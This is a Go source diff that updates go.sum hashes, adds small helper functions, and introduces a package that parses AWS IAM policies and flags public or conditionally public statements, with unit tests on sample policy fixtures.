google.golang.org/genproto v0.0.0-20200513103714-09dca8ec2884/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
|
||||
google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U=
|
||||
google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=
|
||||
google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA=
|
||||
@@ -627,6 +742,12 @@ google.golang.org/genproto v0.0.0-20201210142538-e3217bee35cc/go.mod h1:FWY/as6D
|
||||
google.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
|
||||
google.golang.org/genproto v0.0.0-20210108203827-ffc7fda8c3d7/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
|
||||
google.golang.org/genproto v0.0.0-20210226172003-ab064af71705/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
|
||||
google.golang.org/genproto v0.0.0-20230530153820-e85fd2cbaebc h1:8DyZCyvI8mE1IdLy/60bS+52xfymkE72wv1asokgtao=
|
||||
google.golang.org/genproto v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:xZnkP7mREFX5MORlOPEzLMr+90PPZQ2QWzrVTWfAq64=
|
||||
google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc h1:kVKPf/IiYSBWEWtkIn6wZXwWGCnLKcC8oWfZvXjsGnM=
|
||||
google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig=
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc h1:XSJ8Vk1SWuNr8S18z1NZSziL0CPIXLCCMDOEFtHBOFc=
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA=
|
||||
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
|
||||
google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=
|
||||
google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=
|
||||
@@ -640,9 +761,14 @@ google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3Iji
|
||||
google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
|
||||
google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
|
||||
google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
|
||||
google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0=
|
||||
google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc=
|
||||
google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8=
|
||||
google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
|
||||
google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
|
||||
google.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ=
|
||||
google.golang.org/grpc v1.55.0 h1:3Oj82/tFSCeUrRTg/5E/7d/W5A1tj6Ky1ABAuZuv5ag=
|
||||
google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8=
|
||||
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
|
||||
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
|
||||
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
|
||||
@@ -653,16 +779,21 @@ google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2
|
||||
google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||
google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4=
|
||||
google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
|
||||
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
|
||||
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
|
||||
google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng=
|
||||
google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
|
||||
gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA=
|
||||
gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
|
||||
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
|
||||
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200605160147-a5ece683394c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
@@ -672,6 +803,30 @@ honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWh
|
||||
honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
|
||||
honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
|
||||
honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
|
||||
lukechampine.com/uint128 v1.2.0 h1:mBi/5l91vocEN8otkC5bDLhi2KdCticRiwbdB0O+rjI=
|
||||
lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
|
||||
modernc.org/cc/v3 v3.40.0 h1:P3g79IUS/93SYhtoeaHW+kRCIrYaxJ27MFPv+7kaTOw=
|
||||
modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0=
|
||||
modernc.org/ccgo/v3 v3.16.13 h1:Mkgdzl46i5F/CNR/Kj80Ri59hC8TKAhZrYSaqvkwzUw=
|
||||
modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY=
|
||||
modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
|
||||
modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
|
||||
modernc.org/libc v1.22.5 h1:91BNch/e5B0uPbJFgqbxXuOnxBQjlS//icfQEGmvyjE=
|
||||
modernc.org/libc v1.22.5/go.mod h1:jj+Z7dTNX8fBScMVNRAYZ/jF91K8fdT2hYMThc3YjBY=
|
||||
modernc.org/mathutil v1.5.0 h1:rV0Ko/6SfM+8G+yKiyI830l3Wuz1zRutdslNoQ0kfiQ=
|
||||
modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
|
||||
modernc.org/memory v1.5.0 h1:N+/8c5rE6EqugZwHii4IFsaJ7MUhoWX07J5tC/iI5Ds=
|
||||
modernc.org/memory v1.5.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU=
|
||||
modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4=
|
||||
modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
|
||||
modernc.org/sqlite v1.23.1 h1:nrSBg4aRQQwq59JpvGEQ15tNxoO5pX/kUjcRNwSAGQM=
|
||||
modernc.org/sqlite v1.23.1/go.mod h1:OrDj17Mggn6MhE+iPbBNf7RGKODDE9NFT0f3EwDzJqk=
|
||||
modernc.org/strutil v1.1.3 h1:fNMm+oJklMGYfU9Ylcywl0CO5O6nTfaowNsh2wpPjzY=
|
||||
modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw=
|
||||
modernc.org/tcl v1.15.2 h1:C4ybAYCGJw968e+Me18oW55kD/FexcHbqH2xak1ROSY=
|
||||
modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg=
|
||||
modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
|
||||
modernc.org/z v1.7.3 h1:zDJf6iHjrnB+WRD88stbXokugjyc0/pB91ri1gO6LZY=
|
||||
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
|
||||
rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0=
|
||||
rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA=
|
||||
@@ -31,3 +31,15 @@ func Contains(element string, array []string) bool {
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func RemoveDuplicateStr(strSlice []string) []string {
|
||||
allKeys := make(map[string]bool)
|
||||
list := []string{}
|
||||
for _, item := range strSlice {
|
||||
if _, value := allKeys[item]; !value {
|
||||
allKeys[item] = true
|
||||
list = append(list, item)
|
||||
}
|
||||
}
|
||||
return list
|
||||
}
|
||||
+13
-1
@@ -73,7 +73,7 @@ func GetEnabledRegions(awsProfile string, version string) []string {
|
||||
|
||||
if err != nil {
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
AWSRegions, err := servicemap.GetAllRegions()
|
||||
if err != nil {
|
||||
@@ -270,3 +270,15 @@ func SpinUntil(callingModuleName string, counter *CommandCounter, done chan bool
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func ReorganizeAWSProfiles(allProfiles []string, mgmtProfile string) []string {
|
||||
// take the mgmt profile, move it from its current position to the front of the list
|
||||
var newProfiles []string
|
||||
newProfiles = append(newProfiles, mgmtProfile)
|
||||
for _, profile := range allProfiles {
|
||||
if profile != mgmtProfile {
|
||||
newProfiles = append(newProfiles, profile)
|
||||
}
|
||||
}
|
||||
return newProfiles
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
package policy
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_condition.html
|
||||
// Conditions have the folling general structure:
|
||||
// "Condition" : { "{condition-operator}" : { "{condition-key}" : "{condition-value}" }}
|
||||
type PolicyStatementCondition map[string]map[string]ListOrString
|
||||
|
||||
func (psc *PolicyStatementCondition) IsEmpty() bool {
|
||||
if psc == nil {
|
||||
return true
|
||||
}
|
||||
|
||||
return len(*psc) == 0
|
||||
}
|
||||
|
||||
// IsScopedOnAccountOrOrganization returns true if the policy condition ensures access only for specific
|
||||
// AWS accounts or organizations. If may return false even if access is restricted in such a way.
|
||||
// Such policies should be reported to the user and analyzed case by case to judge if conditions are sufficently restrictive.
|
||||
func (psc *PolicyStatementCondition) IsScopedOnAccountOrOrganization() bool {
|
||||
for condition, kv := range *psc {
|
||||
for k, v := range kv {
|
||||
if strings.ToLower(condition) == "stringequals" && contains([]string{
|
||||
"aws:sourceowner", // https://docs.aws.amazon.com/sns/latest/dg/sns-access-policy-use-cases.html#source-account-versus-source-owner
|
||||
"aws:sourceaccount", // https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-sourceaccount
|
||||
"aws:principalaccount", // https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-principalaccount
|
||||
"aws:principalorgid", // https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-principalorgid
|
||||
"sns:endpoint", // https://docs.aws.amazon.com/sns/latest/dg/sns-using-identity-based-policies.html#sns-policy-keys
|
||||
}, strings.ToLower(k)) {
|
||||
return len(v) > 0
|
||||
}
|
||||
|
||||
if strings.ToLower(condition) == "stringlike" && contains([]string{
|
||||
"sns:endpoint", // https://docs.aws.amazon.com/sns/latest/dg/sns-using-identity-based-policies.html#sns-policy-keys
|
||||
}, strings.ToLower(k)) {
|
||||
return isAccountIDInWildcardPattern(v)
|
||||
}
|
||||
|
||||
// handling for aws:SourceArn
|
||||
// https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-sourcearn
|
||||
if contains([]string{
|
||||
"arnequals",
|
||||
"stringequals",
|
||||
}, strings.ToLower(condition)) && strings.ToLower(k) == "aws:sourcearn" {
|
||||
return len(v) > 0 // this means there is an exact AWS resource
|
||||
}
|
||||
|
||||
if contains([]string{
|
||||
"arnlike",
|
||||
"stringlike",
|
||||
}, strings.ToLower(condition)) && strings.ToLower(k) == "aws:sourcearn" {
|
||||
return isAccountIDInWildcardPattern(v)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// isAccountIDInWildcardPattern returns true iff at least one entry in v
|
||||
// contains an ARN pattern with a full account ID.
|
||||
func isAccountIDInWildcardPattern(v []string) bool {
|
||||
for _, e := range v {
|
||||
s := getAccountIDInARN(e)
|
||||
if s != "" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// Format: arn:aws:<service>:<optional-region>:<account-id>:<rest-of-the-arn>
|
||||
var reAccountIDInARN = regexp.MustCompile(`arn:aws:[a-zA-Z0-9]+:[a-zA-Z0-9-]*:([0-9]+):`)
|
||||
|
||||
func getAccountIDInARN(arn string) string {
|
||||
match := reAccountIDInARN.FindStringSubmatch(arn)
|
||||
if len(match) != 2 {
|
||||
return ""
|
||||
}
|
||||
|
||||
return match[1]
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
package policy
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestGetAccountIDInARN(t *testing.T) {
|
||||
tests := []struct {
|
||||
S string
|
||||
want string
|
||||
}{
|
||||
{S: "abc123", want: ""},
|
||||
{S: "arn:aws:iam::123456789012:root", want: "123456789012"},
|
||||
{S: "arn:aws:iam::123456789012:role/any-role-name", want: "123456789012"},
|
||||
{S: "arn:aws:sts::123456789012:assumed-role/any-role-name/session-name", want: "123456789012"},
|
||||
{S: "arn:aws:iam::123456789012:user/any-user-name", want: "123456789012"},
|
||||
{S: "arn:aws:sts::123456789012:federated-user/any-user-name", want: "123456789012"},
|
||||
{S: "arn:aws:cloudwatch:us-east-2:123456789012:alarm:*", want: "123456789012"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
|
||||
actual := getAccountIDInARN(tt.S)
|
||||
if tt.want != actual {
|
||||
t.Errorf("getAccountIDInARN(%s) wrong: want %s but got %s", tt.S, tt.want, actual)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
package policy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
type Policy struct {
|
||||
Version string `json:"Version"`
|
||||
Id string `json:"Id"`
|
||||
Statement []PolicyStatement `json:"Statement"`
|
||||
}
|
||||
|
||||
func ParseJSONPolicy(data []byte) (Policy, error) {
|
||||
var p Policy
|
||||
if err := json.Unmarshal(data, &p); err != nil {
|
||||
return p, fmt.Errorf("unmarshal JSON: %s", err)
|
||||
}
|
||||
|
||||
return p, nil
|
||||
}
|
||||
|
||||
// IsNull returns true iff the Policy is empty
|
||||
// you cannot do a comparison like this: `p == Policy{}' since we use custom types in the struct`
|
||||
func (p *Policy) IsEmpty() bool {
|
||||
out := true
|
||||
|
||||
out = out && p.Version == ""
|
||||
out = out && p.Id == ""
|
||||
|
||||
for _, s := range p.Statement {
|
||||
out = out && s.IsEmpty()
|
||||
}
|
||||
|
||||
return out
|
||||
}
|
||||
|
||||
// true iff there is at least one statement with principal * and no conditions
|
||||
func (p *Policy) IsPublic() bool {
|
||||
for _, s := range p.Statement {
|
||||
if s.IsAllow() && s.Principal.IsPublic() && s.Condition.IsEmpty() {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// true iff there is at least one statement with principal * with conditions that do not scope access down to AWS accounts or organizations
|
||||
func (p *Policy) IsConditionallyPublic() bool {
|
||||
for _, s := range p.Statement {
|
||||
if s.IsAllow() && s.Principal.IsPublic() && !s.Condition.IsScopedOnAccountOrOrganization() && !s.Condition.IsEmpty() {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func unique(slice []string) []string {
|
||||
m := make(map[string]struct{})
|
||||
for _, v := range slice {
|
||||
m[v] = struct{}{}
|
||||
}
|
||||
|
||||
out := make([]string, 0, len(m))
|
||||
for v := range m {
|
||||
out = append(out, v)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func contains(list []string, elem string) bool {
|
||||
for _, e := range list {
|
||||
if e == elem {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,152 @@
|
||||
package policy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// ensure we don't loose information after parsing and remarshaling
|
||||
// we marshal only for testing, the output will not necessarily be a valid IAM policy
|
||||
func TestParsePolicy(t *testing.T) {
|
||||
tests := []struct {
|
||||
filename string
|
||||
want string
|
||||
}{
|
||||
{
|
||||
filename: "amazon-ec2-full-access.json",
|
||||
want: `{"Version":"2012-10-17","Id":"","Statement":[{"Effect":"Allow","Principal":{},"Action":["ec2:*"],"Resource":["*"]},{"Effect":"Allow","Principal":{},"Action":["elasticloadbalancing:*"],"Resource":["*"]},{"Effect":"Allow","Principal":{},"Action":["cloudwatch:*"],"Resource":["*"]},{"Effect":"Allow","Principal":{},"Action":["autoscaling:*"],"Resource":["*"]},{"Effect":"Allow","Principal":{},"Action":["iam:CreateServiceLinkedRole"],"Resource":["*"],"Condition":{"StringEquals":{"iam:AWSServiceName":["autoscaling.amazonaws.com","ec2scheduled.amazonaws.com","elasticloadbalancing.amazonaws.com","spot.amazonaws.com","spotfleet.amazonaws.com","transitgateway.amazonaws.com"]}}}]}`,
|
||||
},
|
||||
{
|
||||
filename: "sns-conditionally-public.json",
|
||||
want: `{"Version":"","Id":"","Statement":[{"Effect":"Allow","Principal":"*","Action":["SNS:Publish"],"Resource":["arn:aws:sns:us-east-1:123456789012:MyFirstTopic"],"Condition":{"StringEquals":{"aws:sourceVpce":["vpce-1a2b3c4d"]}}}]}`,
|
||||
},
|
||||
{
|
||||
filename: "sns-shared-via-condition.json",
|
||||
want: `{"Version":"","Id":"","Statement":[{"Effect":"Allow","Principal":{"AWS":["*"]},"Action":["SNS:Publish"],"Resource":["arn:aws:sns:us-east-2:444455556666:MyTopic"],"Condition":{"ArnLike":{"aws:SourceArn":["arn:aws:cloudwatch:us-east-2:111122223333:alarm:*"]}}}]}`,
|
||||
},
|
||||
{
|
||||
filename: "sns-shared-with-org.json",
|
||||
want: `{"Version":"","Id":"","Statement":[{"Effect":"Allow","Principal":{"AWS":["*"]},"Action":["SNS:Publish"],"Resource":["arn:aws:sns:us-east-2:444455556666:MyTopic"],"Condition":{"StringEquals":{"aws:PrincipalOrgID":["o-yj4fwt1bwm"]}}}]}`,
|
||||
},
|
||||
{
|
||||
filename: "sqs-conditionally-public.json",
|
||||
want: `{"Version":"2012-10-17","Id":"anyID","Statement":[{"Sid":"conditionally_public","Effect":"Allow","Principal":"*","Action":["sqs:*"],"Resource":["arn:aws:sqs:*:111122223333:queue1"],"Condition":{"IpAddress":{"aws:SourceIp":["192.0.2.0/24"]}}}]}`,
|
||||
},
|
||||
{
|
||||
filename: "sqs-public.json",
|
||||
want: `{"Version":"2012-10-17","Id":"anyID","Statement":[{"Sid":"unconditionally_public","Effect":"Allow","Principal":{"AWS":["*"]},"Action":["sqs:*"],"Resource":["arn:aws:sqs:*:111122223333:queue1"]}]}`,
|
||||
},
|
||||
{
|
||||
filename: "sqs-shared-with-condition.json",
|
||||
want: `{"Version":"2012-10-17","Id":"anyID","Statement":[{"Sid":"conditionally_shared","Effect":"Allow","Principal":{"AWS":["123456789012"]},"Action":["sqs:*"],"Resource":["arn:aws:sqs:*:111122223333:queue1"],"Condition":{"IpAddress":{"aws:SourceIp":["192.0.2.0/24"]}}}]}`,
|
||||
},
|
||||
{
|
||||
filename: "sqs-shared.json",
|
||||
want: `{"Version":"2012-10-17","Id":"anyID","Statement":[{"Sid":"unconditionally_shared","Effect":"Allow","Principal":{"AWS":["111122223333","arn:aws:iam::123456789012:root"]},"Action":["sqs:*"],"Resource":["arn:aws:sqs:*:111122223333:queue1"]}]}`,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
policy, err := getTestFixure(tt.filename)
|
||||
if err != nil {
|
||||
t.Errorf("Error getting test fixture %s: %s", tt.filename, err)
|
||||
continue
|
||||
}
|
||||
|
||||
actual, err := json.Marshal(policy)
|
||||
if err != nil {
|
||||
t.Errorf("Error parsing test fixture %s: %s", tt.filename, err)
|
||||
continue
|
||||
}
|
||||
|
||||
if tt.want != string(actual) {
|
||||
t.Errorf("Policy %s parsed in unexpected way:\n%s\n---\n%s\n---", tt.filename, actual, tt.want)
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsConditionallyPublic(t *testing.T) {
|
||||
tests := []struct {
|
||||
filename string
|
||||
want bool
|
||||
}{
|
||||
{filename: "amazon-ec2-full-access.json", want: false},
|
||||
{filename: "sns-conditionally-public.json", want: true},
|
||||
{filename: "sns-shared-via-condition.json", want: false},
|
||||
{filename: "sns-shared-with-org.json", want: false},
|
||||
{filename: "sqs-conditionally-public.json", want: true},
|
||||
{filename: "sqs-public.json", want: false},
|
||||
{filename: "sqs-shared-with-condition.json", want: false},
|
||||
{filename: "sqs-shared.json", want: false},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
policy, err := getTestFixure(tt.filename)
|
||||
if err != nil {
|
||||
t.Errorf("Error getting test fixture %s: %s", tt.filename, err)
|
||||
continue
|
||||
}
|
||||
|
||||
actual := policy.IsConditionallyPublic()
|
||||
|
||||
if tt.want != actual {
|
||||
t.Errorf("IsConditionallyPublic(%s) is %v but should be %v", tt.filename, actual, tt.want)
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsPublic(t *testing.T) {
|
||||
tests := []struct {
|
||||
filename string
|
||||
want bool
|
||||
}{
|
||||
{filename: "amazon-ec2-full-access.json", want: false},
|
||||
{filename: "sns-conditionally-public.json", want: false},
|
||||
{filename: "sns-shared-via-condition.json", want: false},
|
||||
{filename: "sns-shared-with-org.json", want: false},
|
||||
{filename: "sqs-conditionally-public.json", want: false},
|
||||
{filename: "sqs-public.json", want: true},
|
||||
{filename: "sqs-shared-with-condition.json", want: false},
|
||||
{filename: "sqs-shared.json", want: false},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
policy, err := getTestFixure(tt.filename)
|
||||
if err != nil {
|
||||
t.Errorf("Error getting test fixture %s: %s", tt.filename, err)
|
||||
continue
|
||||
}
|
||||
|
||||
actual := policy.IsPublic()
|
||||
|
||||
if tt.want != actual {
|
||||
t.Errorf("IsPublic(%s) is %v but should be %v", tt.filename, actual, tt.want)
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func getTestFixure(filename string) (*Policy, error) {
|
||||
f, err := os.Open("testdata/" + filename)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("opening file: %s", err)
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
data, err := ioutil.ReadAll(f)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("reading file: %s", err)
|
||||
}
|
||||
|
||||
policy, err := ParseJSONPolicy(data)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("parsing JSON: %s", err)
|
||||
}
|
||||
|
||||
return &policy, nil
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
package policy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
)
|
||||
|
||||
type PolicyStatementPrincipal struct {
|
||||
S string
|
||||
O PolicyStatementPrincipalObject
|
||||
}
|
||||
|
||||
func (psp *PolicyStatementPrincipal) UnmarshalJSON(b []byte) error {
|
||||
var s string
|
||||
if err := json.Unmarshal(b, &s); err == nil {
|
||||
psp.S = s
|
||||
return nil
|
||||
}
|
||||
|
||||
var obj PolicyStatementPrincipalObject
|
||||
if err := json.Unmarshal(b, &obj); err == nil {
|
||||
psp.O = obj
|
||||
return nil
|
||||
}
|
||||
|
||||
return errors.New("principal is not a string or complex object")
|
||||
}
|
||||
|
||||
func (psp *PolicyStatementPrincipal) MarshalJSON() ([]byte, error) {
|
||||
if psp.S != "" {
|
||||
return json.Marshal(psp.S)
|
||||
}
|
||||
|
||||
return json.Marshal(psp.O)
|
||||
}
|
||||
|
||||
func (psp *PolicyStatementPrincipal) IsEmpty() bool {
|
||||
return psp.S == "" && psp.O.IsEmpty()
|
||||
}
|
||||
|
||||
func (psp *PolicyStatementPrincipal) IsPublic() bool {
|
||||
return psp.S == "*" || psp.O.IsPublic()
|
||||
}
|
||||
